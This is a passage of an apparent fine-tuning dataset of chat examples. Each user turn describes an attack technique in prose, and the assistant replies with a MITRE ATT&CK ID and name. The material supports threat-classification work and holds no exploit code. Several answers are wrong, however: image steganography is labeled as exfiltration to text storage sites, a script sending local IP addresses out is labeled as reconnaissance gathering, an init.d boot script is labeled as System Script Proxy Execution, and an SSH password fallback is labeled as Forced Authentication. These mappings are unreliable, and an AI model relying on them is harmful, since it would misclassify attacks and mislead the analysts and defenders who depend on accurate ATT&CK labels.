            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create counterfeit SAML authentication tokens to bypass Single Sign‑On and gain unauthorized access to protected resources."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated group established a multi-hop proxy chain by chaining together compromised web proxies, each adding a layer of obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a fake technical support request email containing a compressed .zip file with an obfuscated malicious script."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stole the configuration export of a load balancer to understand traffic routing policies."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query Active Directory to list all domain groups using PowerShell cmdlets like Get-ADGroup."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious extension leverages the chrome.storage API to store stolen data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a remote desktop protocol session to invoke a command interpreter on the target machine without direct execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing domain admin passwords, the intruder logs into servers using existing accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious executable from 'script.exe' to 'script.pdf.exe' so that Windows would hide the .exe extension and users would think it was a PDF file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes the Wi‑Fi network passphrase into HKCU\\\\Software\\\\Microsoft\\\\WlanSvc\\\\Profiles to retrieve it later."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits a misconfigured SSH service by repeatedly sending authentication requests until the server falls back to password authentication, then captures the password."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant grabs the contents of the clipboard whenever a copy operation occurs and writes the data to a local log file."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a trojanized version of a popular PDF reader that runs their payload."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script leveraged compromised Google Cloud IAM permissions to call the Secret Manager’s accessSecretVersion method, retrieving service account JSON keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker identified a SUID binary hidden in the sudoers configuration and used it to bypass normal sudo checks and gain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a ‘net session’ command to list active network sessions on the machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates the registration of a new authenticator device for a compromised account, allowing the attacker to approve future logins."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered as a self-extracting archive that unpacks a hidden executable at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A penetration test tool uses STUN/TURN servers to traverse NAT and communicate with a remote server."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a reused password across services, the attacker accessed the victim’s Microsoft 365 email account."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tweaks the plist containing launchctl settings to change the run interval of a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited LogMeIn to exfiltrate data and execute commands on the target network."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting vulnerabilities in public-facing applications"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a custom tool to scan for live IP addresses across the corporate LAN, gathering hostnames."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor periodically takes screenshots of the victim’s desktop and saves the images to a hidden folder."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes NTFS file attribute manipulation to obscure its presence on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload modifies the PEB BeingDebugged flag to hide from debuggers."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads configuration files from a compromised Docker Swarm manager node that contain service tokens."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used the Windows command interpreter to execute \"sc query\" to enumerate services."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquired a DNS server by exploiting a mis‑configured registrar API, allowing them to create and manage DNS zones."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers subscribe to a threat intel feed and mine the data for details about the target's external IP ranges and associated vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves attaching a malicious executable as the icon of a shortcut, causing the code to run during icon extraction."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates shared folders on the victim's network using the `net view` command."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtained write access to a Maven repository used by the target's Java applications and published a rogue artifact that executes a PowerShell script on installation."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a newly created WhatsApp business number to send malicious messages that trigger further actions on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious code into a vulnerable web application, the attacker reads the session cookie from the client’s local storage and uploads it to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits the ~/Library/Preferences/com.apple.loginitems.plist file to insert a path to a rogue executable, guaranteeing it runs at each login."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group collects plaintext database connection strings from application configuration files such as dbconfig.json."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious .pdf documents are distributed via Slack direct messages to specific employees, exploiting their trust in internal communications."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacks a VPS by exploiting a zero‑day vulnerability in the hypervisor, granting them persistent access to the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages `dsquery group` command to discover domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs malicious firmware into the device's ROMMON environment to gain persistence before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a chain of HTTP proxies across different compromised networks, each hop re-encrypting the payload to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phone call, the malicious party claims to be a law enforcement officer and threatens legal action unless the victim supplies personal identification information."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script encodes confidential documents into image files using steganography and posts them to a public image hosting site."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a direct message on Twitter with a shortened URL that leads to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates the encryption key after encrypting files, then threatens to delete the key if the ransom isn’t paid."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'rar' command line to create a multi‑volume archive of collected information before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload arrives as a set of source files in a zip archive, which are automatically compiled by a build script on the host."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an asymmetric encrypted HTTPS connection, the adversary silently uploads stolen documents to a cloud storage bucket, bypassing normal C2."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise was achieved by hijacking the CI/CD pipeline's plugin repository, replacing a legitimate security scanning plugin with a version that exfiltrated source code."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an attack, the actor runs a script that flushes ufw rules, leaving the firewall disabled."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit reads the LSA Secrets registry key to retrieve stored service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group installs a seemingly benign shell script in /etc/init.d/ and configures it to be executed by the system's init process during boot, using the init script as a proxy to run their primary malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly sends large ICMP echo‑request (ping) packets to overwhelm the network infrastructure, resulting in denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider alters the federation metadata between on‑prem AD FS and Azure AD, causing authentication tokens to be forged and accepted for hybrid identity accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the contents of the recycle bin and system restore points, aggregating data for potential data leakage."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary establishes a VNC connection to the victim's workstation to capture screen and control mouse/keyboard."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group distributes a phishing campaign via LinkedIn messages, masquerading as a recruiter and asking victims to provide personal identification numbers and passwords to access a purported job application portal."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection employs the built‑in Windows utility reg save to copy the SAM hive, enabling offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used an API token to pull data from a Salesforce CRM, gathering client contact details."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script removes the Gatekeeper quarantine flag from a downloaded payload, allowing it to run with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a Kerberos ticket granting ticket (TGT) from memory and uses it to authenticate to multiple services without needing the original credentials."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the intruder adds a hidden user entry to the SAM database on a Windows server, then assigns it to a local group that grants elevated privileges, bypassing typical user monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use low‑level network protocols like GRE and IP-in-IP encapsulation to stealthily move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltration prep, the intruder moves data to a local staging area to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS spyware app requests the “AudioInput” entitlement and continuously streams microphone audio to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a malicious extension that reads stored session data from Firefox and sends it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved leveraging a vulnerable FTP service associated with a web application to upload malicious files and gain shell access."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the target process's memory, patches the entry point, and redirects execution to its own payload."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the system's UEFI firmware with a malicious version to persist code that executes before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used \"docker exec\" to install a keylogger inside a targeted container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the proxy execution capability of a certified development framework to launch a credential-stealing module on the victim."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-hop proxy is used to tunnel malicious traffic through three distinct proxy services before reaching the target."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script extracts the victim’s network interface IP addresses and sends them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
